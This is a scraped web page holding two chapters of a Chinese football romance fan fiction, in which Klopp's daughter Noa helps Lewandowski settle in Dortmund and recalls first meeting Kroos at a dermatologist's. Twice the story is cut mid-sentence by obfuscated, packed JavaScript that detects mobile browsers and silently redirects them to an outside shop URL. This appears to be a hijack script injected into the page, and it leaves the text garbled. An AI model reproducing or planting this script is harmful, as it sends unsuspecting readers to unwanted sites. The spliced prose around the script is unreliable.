《[足球]绿茵棋手》 3. 第 3 章 诺阿发动汽车,告诉副驾上的莱万接下来的安排,“把行李放车上,我们先去和尤尔根他们吃饭,吃完后我再送你去公寓。” “公寓里的所有东西都准备好了,如果你还缺什么,附近就有大型超市。” 莱万耸了下肩,对诺阿抱以全身心的信任,“你已经说什么都给我准备好了,我不认为我还会缺什么。” 不知道为什么,刚才还萦绕在莱万身上的拘谨生疏感,在他坐上诺阿身边副驾,两人共处车内狭小封闭空间时,全然消失不见。 在诺阿这里,莱万和其他球员不同,其他引援球员都是俱乐部的工作人员为他们安排。 诺阿现在虽然也是在俱乐部工作,但以她球队分析师以及主教练女儿的身份,怎么都不用她负责这些琐事。 她这么做只因为他是莱万,只因为他来到多特蒙德可以说是她一手促成的。 莱万的回答让诺阿轻笑一声,她没想到看起来有些冷漠的波兰人,面对她时意外的直率还带着几分甜意,“罗伯特,我现在相信你很快能跟队友们融洽相处了。” 只要他肯把面对她时的亲近用一部分在队友身上,这绝对可以。 经过这段时间在多特蒙德的工作和随队去到各地与不同球队的比赛,诺阿已经了解球星们在除开名气和粉丝的爱之外,只是个普通人。 既然是普通人,那普通人之间的交友相处模式就能适用在他们身上。 诺阿也亲身体验过,在球星们是普通人时和他们发展出的友谊,并不会因为他们的成名而改变。 “另外我就住在你公寓附近,接下来你遇到什么问题或者需要什么也都可以来找我。”诺阿目视前方专注开车,侧脸线条利落又漂亮。 “你的德语老师俱乐部已经给你安排好,虽然队员之间用英语沟通没问题,但学会德语对你来说更好。” “等你差不多掌握语言后可以去考驾照。”诺阿几乎是为莱万规划好了一切,就像她下国际象棋时总是会提前计算接下来几十步该怎么走一样。 “不过不用担心,在你考到驾照之前,我都会开车带你一起去俱乐部。” 莱万从上车后一直看向诺阿,他有些说不清楚此刻的感受,但他能确定的是,有人会一直在他身边。 东欧人的凛冽融化在莱万的青涩笑容里,“这可太好了,我想我已经开始期待接下来的生活了。” 诺阿没说自己这么做存在私心。 老父亲克洛普对她很是关心,从她开始在多特蒙德工作,克洛普每天都特意来接她,父女俩一起上班下班。 这样看起来很不错,但问题是诺阿快承受不了老父亲的关爱了。 在过去的几年里,克洛普就因为担心诺阿,不肯让她一个人生活,而是和他们一起住。 她早就不是几岁的孩子,但在克洛普眼里她似乎一直都是。 克洛普记得诺阿刚出生时,小小一团被他紧张欢喜捧着抱住贴在胸口;记得她牵住他的手跌跌撞撞行走的可爱样子;更记得离婚之后诺阿跟着母亲回到中国,几年里只能在假期或者参加国际象棋比赛时来德国,他许久未见错过太多长成的样子。 以及在克洛普被通知诺阿和母亲一起遭遇车祸,等他赶到中国看到的是诺阿带着呼吸管,躺在病床上毫无生机的样子…… 诺阿明白离婚是夫妻之间的选择没错,她也清楚这并不会阻止和母亲分开的克洛普成为尽职尽责的父亲。 即使选择离婚没能最后走到一起,克洛普在面对诺阿时一直都是最爱她的父亲。 但老父亲的关爱分量太重实在是让她感到压力,没办法诺阿只能找其他借口。 比如说成年后想要独自生活而搬出去自己住,为了上班方便顺带捎上刚来的莱万,理由正当地拒绝老父亲接送而自己开车。 一想到接下来莱万都可以充当这个借口,诺阿立刻决定全方位关心莱万的一切。 很快诺阿开车带着莱万到达父亲克洛普家。 下车时考虑到自己是被主教练邀请做客,莱万显得有些拘谨,他对诺阿说,“刚刚在机场的时候我忘买礼物了。” 礼物价格多少不重要,最要的是他被邀请用餐不能空着手来,带一束花或者一瓶酒、一份甜品作为礼物也好。 可是他竟然忘了。 “没关系。”诺阿宽慰莱万,“不需要什么礼物,我们今天只是简单吃顿饭,papa他想见见你而已。” 诺阿抛开主教练和球员之间存在着的管理掌控关系,将今天的这顿饭说得像是长辈和自己孩子朋友的一次见面用餐。 没有过多身份权力上的差距,显得更平等亲易近人,缓解了莱万对他忘带礼物上门的懊恼。 “走吧,我已经饿了,我们快进去吧。” 诺阿走在前面按响门铃,莱万就站在她身后。 来开门的是克洛普,他先笑着给了诺阿一个大大的拥抱,“诺阿,你们回来得刚好,午餐刚准备好。乌拉做了你爱吃的蛋糕,还另外准备了份一会儿你可以带回去。” 诺阿抱了抱老父亲克洛普,“看来我的晚饭也有着落了。” 克洛普抱着诺阿看到了她身后的莱万。 莱万扯起嘴角露出个相对腼腆的笑容,他打招呼,“谢谢您的邀请,教练。” 这不是莱万第一次见到克洛普,他在决定加盟多特蒙德之前来过德国实地考察,也和克洛普见面聊过俱乐部接下来的计划,克洛普作为主教练打算怎么用他。 但那毕竟是在俱乐部,而不是像这会儿在克洛普家门口,能看到他最舒适自然的样子。 克洛普有一米九多高,曾经是球员的他身材高大结实,尽管头发和胡子看上去有些乱糟糟的,但莱万不得不承认这样的克洛普让他感到亲切。 特别是在看到克洛普和诺阿之间的拥抱,莱万想起了去世离开他好几年的父亲。 “噢,罗伯特,在家里叫我尤尔根就好。”克洛普松开诺阿给了莱万一个同样的大大拥抱,“就像诺阿她也只是在俱乐部里才管我叫教练,回家后她还是得叫我papa一样。” 诺阿双手交叉抱胸,脸上带着笑意看莱万露出几分腼腆怀念神情有些生涩拘谨地被克洛普紧紧抱住。 诺阿知道莱万的父亲在他十六岁时去世,这对他来说是个不小的打击。 “噢,这是什么意思。”诺阿开玩笑,“你也想罗伯特跟我一样,在俱乐部里管你叫教练,回家后叫你papa吗?” “哈哈哈哈。糟糕,被发现了。”克洛普几乎是立刻明白诺阿这么说的目的接上话。 父女俩情商都很高,在人际交往上都有别样的细腻魅力。 克洛普咧着一口大白牙笑着说,“别担心诺阿,罗伯特不会抢走我对你的爱,你永远都是我最爱的女儿。” “当然。”克洛普松开莱万,宽大手掌轻拍他脊背接着又豪气揽住他肩膀,“罗伯特,我想表达的意思是我也会把你当成是我的孩子一样关心照顾。” “我们之间不仅是主教练和球员,还会是朋友、我还会作为一个父亲给你关心和支持。” 克洛普这么说着,手上也用力揽了揽莱万肩膀,来证明他的认真。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318916|199017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这可不是场面话,克洛普的确是个相当真诚的人。 父亲的去世对莱万的确是个不小的打击,他在很多个夜晚里设想过,如果他有天踢出名堂,踢得整个世界都认识他时,要是他的父亲还在该多好。 莱万有些感动。 他不认为有谁可以替代他去世的父亲,但也得承认克洛普的这番话让他触动,克洛普父亲一般的拥抱让他生出思念。 “好了,你们再多说几句我就要不高兴了,谁还记得我在这儿。”诺阿出声恰到好处地打断这一幕,让莱万可以自然过渡整理他的情绪。 感情牌好用,但也要把握好分寸。 “哈哈哈,当然记得。”克洛普笑着将莱万推进家门,张开手臂分别揽住莱万和诺阿。 “走吧,我们去吃饭吧,我想你们应该都饿了。特别是你,诺阿,一会儿多吃点好吗。” 这顿午餐吃得很是愉快,莱万不会说德语,克洛普就用英语跟他沟通。 诺阿在这过程中也不时用波兰语跟莱万聊几句,让他不至于面对完全陌生的环境,起码母语还能给他一些安慰。 考虑到莱万刚从波兰飞到德国,两国虽然没有时差,但毕竟是个完全陌生的国度。 克洛普没有留莱万,而是让诺阿先送他去公寓,给他尽可能多的时间适应。 “怎么样,尤尔根他人还不错对吧。” 诺阿这话把克洛普说得像是她和莱万工作上的一个老好人同事、或是生活中认识的友善普通人一样,一点没有他其实是诺阿父亲、莱万主教练的身份感。 莱万听到都忍不住笑了,他靠在副驾椅背上,双腿舒展伸开整个人彻底放松下来。 “是的,尤尔根他相处起来人很不错。” 莱万也开始称呼克洛普为尤尔根,不过他清楚,等到明天去俱乐部,他需要叫克洛普教练。 “那就好。”诺阿笑了笑。 她相信莱万这会儿已经完全没了独自来到德国的陌生之感,她的目的也达到了,“走吧,接下来我送你去公寓,去看看你要住上好几年的房子怎么样。” “如果需要什么东西,我们还能去附近的超市买回来。” 诺阿把一切都安排得很好,去到公寓莱万把自己的行李整理出来放好,完全没发现还有什么需要补充的,甚至是冰箱里诺阿都早早买好了一些新鲜食材跟水果。 “那么今天就这样,你先休息,明天早上八点我来接你一起去俱乐部。” 诺阿没有打算过多打扰莱万,留给他足够多的空间和时间来消化这一切。 “好,谢谢你,诺阿。谢谢你为我做的这一切。”莱万动了动手指,想要拥抱诺阿还是忍住了。 他清楚自己的确对诺阿有好感,甚至程度完全可以说是喜欢,但他毕竟刚加盟多特蒙德,接下来他踢得怎么样一切都还是未知数。 甚至诺阿还是教练组工作人员,以及总教练女儿的身份。 莱万的理智告诉他,他还需要时间等待。 当然,除了莱万在等待之外,另一个人也是这么想的。 只是他在诺阿家里等待着她。 诺阿从莱万那里离开后没有回家,而是去了俱乐部工作。 她是教练组的分析师,日常工作量不小,要看各种比赛视频对球员、俱乐部进行分析工作。 今天上午因为去接机莱万耽误了,晚上加班几个小时后才结束一天的工作回到公寓。 在诺阿加班回来打开家门,看到两只乖巧坐在门口等待她的大耳朵比格时。 她一下就知道是克罗斯来了。 4.第 4 章 诺阿和克罗斯认识是在几年前,因为车祸诺阿失去了母亲,重新跟随父亲克洛普回到德国一起生活。 那场车祸带走了诺阿的母亲,同样给她的身体带来了伤害。 尽管经过手术后她捡回一条命,车祸中受的伤和手术治疗仍在她身体上留下了不少痕迹。 克洛普那时候还在美因茨执教,在忙碌的教练工作中他没有忽略对诺阿的关心。 他给诺阿找了业内很有名的皮肤科医生,希望能够治疗那场车祸和手术在诺阿身上留下的伤疤。 很多时候伤疤不仅仅是伤口愈合治疗的痕迹,还是某段痛苦回忆永久镌刻在身体上的记录。 克洛普希望皮肤科医生消除这些伤疤的同时,也能够渐渐抹除那场车祸给诺阿造成的伤害。 诺阿就是因为这而和克罗斯认识,他们有同一个皮肤科医生。 只是诺阿是去治疗她的伤疤,克罗斯是去治疗他的青春痘。 克罗斯现在都还记得他第一次见到诺阿时的那种窘迫感。 想想吧,那时候他刚十六七岁,虽然作为球员已经表现得非常不错,代表拜仁U19队在德甲出场,还帮助球队获得亚军。 但不知道怎么回事,那段时间受天气或者是激素什么影响,克罗斯年轻青涩的脸庞上冒出不少让人觉得尴尬的青春痘。 东一颗西一颗、星星点点又红彤彤地缀在克罗斯脸上。 首先克罗斯得承认,足球踢得怎么样绝对和脸无关。 其次克罗斯也得承认,在足球场上比赛踢球时,摄像机不可避免会怼着球员跟踪拍摄,让观看比赛直播的所有人都看到。 他脸上冒出的尴尬青春痘同样被所有人看到了。 克罗斯觉得这实在是太糟糕了,他脸上冒起来的青春痘就像粘在他小白鞋上的泥点子一样,让他觉得心情糟糕。 最重要的是,他脸上的痘痘还不能像小白鞋上的泥点子一样被轻松擦掉。 他必须得去看皮肤科医生了! 兰特哈勒博士是慕尼黑相当有名的皮肤科医生,来找他希望能够治疗自己皮肤问题的病人不少。 因为前面有病人在看诊,克罗斯只能先在诊室外走廊的长椅上坐下,然后他就看到同样坐着等待的诺阿。 在克罗斯看到诺阿,还和她对视上的那一瞬间,克罗斯真的觉得尴尬得要命。 诺阿那第一眼就让人震惊到的漂亮是一回事,克罗斯更多是被诺阿她好得不似真人的皮肤状态给震惊到。 他不明白诺阿都和他一样来看皮肤科医生了,怎么能脸上一颗痘痘都没有,皮肤还细腻光洁毫无瑕疵。 她来看什么皮肤科啊! 连她都来看皮肤科了,那他这一脸的痘痘是不是都得到要进行临终关怀的时候了! 德国人习惯直直的目光对视,在这过程中诺阿当然注意到克罗斯眼里的郁闷和震惊。 “你好。”诺阿先打招呼。 她认出了克罗斯,一方面是因为她看过克罗斯的比赛,另一方面是她有超忆症,每个见过的人她都能在死亡前永远记住。 “你好。”克罗斯尴尬地抬手想要摸脸,但一想到自己脸上的青春痘,克罗斯只能把抬起的手又放下。 “你也是来找兰特哈勒博士来看皮肤的吗,虽然你看起来不像。” 对此诺阿回答,“是的,我虽然看起来不像,但你确实能让人一眼看出是来看皮肤科的。” 克罗斯:“……” 这时候还不够宽言宽语的克罗斯第一次接受到来自别人宽言宽语的伤害。 “那你眼神还挺不错的。”克罗斯只能如此憋屈、毫无杀伤力地回答,“但为什么你没能看清楚自己到底需要看什么医生呢。” “看皮肤科对你来说完全多此一举。” 看到克罗斯郁闷模样,诺阿笑着说,“有没有可能我这是接受皮肤治疗后的康复例子,提醒你只要听兰特哈勒博士的话接受治疗,你的脸就能跟我的脸一样。” 听到诺阿这么说,克罗斯控制不了他的目光停留在诺阿脸上。 但慢慢的他的目光就从诺阿细腻光洁、没有任何瑕疵的完美皮肤,转到她漂亮灰蓝眼眸和惊艳让人心动的五官上。 克罗斯眼神开始飘忽闪躲,终于他抬手摸了下鼻子,“好吧,你的确是个能直观证明兰特哈勒博士医术非常好的例子。” “看来我的脸有救了。”克罗斯耸了耸肩。 看克罗斯真相信了她的话,诺阿觉得他似乎是有点太容易相信别人了。 因此诺阿准备给克罗斯一点教训,“你还真的相信了吗,其实我是在骗你,我从来没有皮肤问题,更没长过痘痘。” 诺阿脸上流露出几分狡黠,这让她看上去更加灵动像是个机敏漂亮的天使女孩儿。 尽管性格一点都不天使,甚至能说有些恶魔了。 特别是诺阿还弯腰一只手撑在膝盖上,托着她那张漂亮极了的脸说,“有时候你是得承认上帝的确偏爱一些人,比如说我。” 出生就是天才、拥有不可思议的超忆症、还生得如此美貌,从这些世俗条件来看,谁都无法不承认上帝的确偏爱着诺阿。 “……”克罗斯第一次尝到被漂亮女孩儿逗弄后的哑口无言。 她怎么能骗他!还是这么自然轻松地骗他! 对比克罗斯被戏弄欺骗的羞愤,诺阿像是什么都没发生一样接着问克罗斯。 “对了,我还没问你叫什么名字。” 克罗斯气愤地动了动嘴唇,想说他才不要告诉诺阿自己的名字。 但在克罗斯看到诺阿笑起来跟漂亮天使差不多的样子时,被欺骗后的那点羞愤,竟然又莫名其妙地消失,完全没了任何踪迹。 好吧,克罗斯是得承认这么漂亮、皮肤这么完美无瑕的诺阿,对比脸上长着尴尬青春痘的自己,的确是被上帝偏爱着。 “托尼·克罗斯。”少年为了让自己看上去像是在生气,冷脸说完自己的名字后,还用他那双透蓝眼眸还深深注视着诺阿。 但这并没有唤起诺阿的歉意,她的笑容依旧狡黠动人,脑袋两侧似乎长出一对恶魔角,身后也伸出一条尾端缀着三角的恶魔尾巴轻轻摇晃。 “好的,克罗斯。” 叫出克罗斯的名字后,诺阿竟起身给自己换了个位置,直接坐到了克罗斯身边继续她的逗弄。 “很抱歉告诉你在我们两个之间,上帝更偏爱我这个残忍的消息。” 知道克罗斯的名字似乎只是因为诺阿想要更精准打击到他而已。 突然并肩而坐的距离让克罗斯有些适应不了,他都闻到诺阿身上的淡淡香气,更清楚看到她脸上光洁无暇的皮肤。 这时候克罗斯要是还不明白诺阿对他带点欺负的逗弄,实际上是更像刚认识小动物之间,略带试探冒犯的嗅闻,那他就真是笨蛋了。 克罗斯都不知道自己怎么突然拘谨起来,还带了点期待。 克罗斯不仅不计较诺阿刚才骗了他,还问诺阿,“在骗了我之后,你都不打算告诉我你叫什么名字吗?” 他说了自己叫什么,诺阿不该也说出自己的名字吗。 诺阿刚想再逗逗克罗斯,说她不打算告诉克罗斯自己的名字,就看诊室门被打开。 他们等的兰特哈勒博士在和病人告别后,站在诊室门口看向坐在一起的克罗斯和诺阿。 “下一位病人,诺阿·克洛普。” 兰特哈勒博士边说边摘下眼镜,撩起衣摆轻擦镜片。目光在克罗斯和诺阿之间徘徊,很快他的不确定在看到克罗斯有些模糊,但能看到痘痘的脸时变成了确定。 “来吧,克洛普先生,该你了。” 好消息是不用问诺阿,克罗斯就知道了她的名字。 坏消息是克罗斯没想到自己今天还能第二次被别人的一句话给噎到。 虽然他和诺阿坐在一起,看上去需要皮肤治疗的人的确是他没错。 但有没有可能医生可以从病人预约信息的性别,确认下一位病人该是诺阿·克洛普女士呢!? 对比克罗斯的吃瘪,诺阿听到兰特哈勒博士对着克罗斯叫出克洛普先生后,再也忍不住笑容。 “哈哈哈,抱歉。”诺阿笑着站起来,一只手按在克罗斯肩膀上安慰地拍拍,对着兰特哈勒博士说,“没错,需要看皮肤科治疗的明显是我这位克洛普[先生]。” 这话一出,兰特哈勒博士一下就意识到了自己的错误。 “噢,抱歉,克洛普小姐,是我看……”兰特哈勒博士重新戴上眼镜,不是他为自己找借口,而是…… “好吧,克洛普小姐你先来。”兰特哈勒博士终于将眼前的诺阿和克罗斯,跟预约中的病人信息结合起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323406|199017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,“克罗斯先生,下一位是你。” “谢谢你,兰特哈勒博士。”这次真生气了的少年克罗斯冷笑着说出他的宽言宽语,“也谢谢你能把眼镜戴上。” 兰特哈勒博士:“……” 说真的,这也不能算是他的错对吧。 诺阿进去后问诊进行了十多分钟,等诊室门终于被打开,兰特哈勒博士送诺阿出来。 “我想我们可以先进行保守治疗,看情况再决定要不要做切除重缝手术。” 兰特哈勒博士已经了解到诺阿身上的伤疤都是因为车祸和手术治疗愈合造成的,说实话这样的伤疤保守治疗作用不大,想要消除最后必须还是要做手术。 问题是诺阿作为患者自己并不在乎。 诺阿没意见,“好的,先保守治疗就可以,我对那些印记的存在其实没那么在乎。” 对比父亲克洛普的担心紧张,诺阿在经历母亲去世、自己也曾在死亡边缘徘徊后,面对任何东西都能坦然接受了。 丑陋的伤疤而已,它并不会对她的人生造成任何影响。 克罗斯听了皱起眉,到底是什么印记让诺阿甚至要到做手术的程度。 “手术?”克罗斯担心起来,没有急着自己面诊而是先关心诺阿,“怎么回事,听上去你的皮肤问题比我的痘痘还要更棘手。” “只是听上去严重而已,但要论看上去,我觉得还是你脸上的痘痘要更严重。”诺阿又一句话让克罗斯噎住。 克罗斯露出无奈神情,如果不是确认他们是第一次见面,克罗斯都要怀疑他之前是不是惹到过诺阿了。 “好啦,抱歉。”诺阿一改小恶魔模样,笑着给了克罗斯一个拥抱,她对克罗斯的逗弄还是有分寸。 “谢谢你对我的关心,不过我的皮肤问题真的没什么,听兰特哈勒博士的话接受治疗或者手术就能解决。” “倒是你,说实话我很期待见到脸上没有痘痘的你。”诺阿松开克罗斯,“下次见好吗。” “克罗斯……”诺阿一边后退一边离开,她冲克罗斯眨了眨眼,“或者说、托尼。” 明明第一次见面就接连用语言欺负他的人是她,看他吃瘪后竟然又像什么都没发生一样,说期待下次和他见面,还像是朋友亲密叫他托尼的人也是她。 克罗斯承认他这会儿有点乱。 对于他和诺阿的初见不知道怎么定义的乱,以及诺阿给他的那个拥抱和直接叫他托尼,让他心跳节奏加快的乱。 “作为交换你也可以叫我诺阿。” “下次见面的时候就这么叫我吧,托尼。” 直到诺阿彻底离开不见,克罗斯都愣愣站在诊室门口,有些没反应过来。 就在一旁见证了这一幕的兰特哈勒博士推了下他的眼镜,默默扬眉在心里感叹。 年轻人啊。 等到克罗斯面诊,兰特哈勒博士看了他的症状,给他开好口服结合外用的药物后,克罗斯都还是一副心不在焉的样子。 “兰特哈勒博士。”克罗斯的突然开口让兰特哈勒博士抬起头。 “怎么了?” 克罗斯问:“就算你已经给我开好药了,下周我是不是还需要来复诊。” 兰特哈勒博士推了下眼镜轻轻扬起眉毛,虽然他已经给克罗斯开好接下来一个月治疗需要的药,克罗斯也不用下周再来复诊。 但克罗斯听上去又很想下周来复诊的样子…… 克罗斯感受到了来自兰特哈勒博士的打量目光,为了更清楚表达自己的意思,克罗斯额外又问了句。 “下周我什么时候来复诊比较合适。” “另外我可以问一下诺阿她下周什么时候会来吗。” 兰特哈勒博士还能有什么不明白呢。 所以说年轻人啊。 兰特哈勒博士也觉得年轻真是好啊。 他操纵着鼠标在病人档案上调出诺阿预约下次面诊的时间。 “好吧,我想同样是下周的星期四,克罗斯先生你可以来复诊,并且刚巧能遇到克洛普小姐。” “好的,谢谢你博士。”克罗斯得到想要的答案终于露出笑容。 这就是诺阿和克罗斯的相识。 “嘿!伦诺克斯、朱利叶斯。”诺阿摸了摸面前两只比格犬的脑袋,“你们的主人呢?他这是又打算让我来照顾你们几天吗?”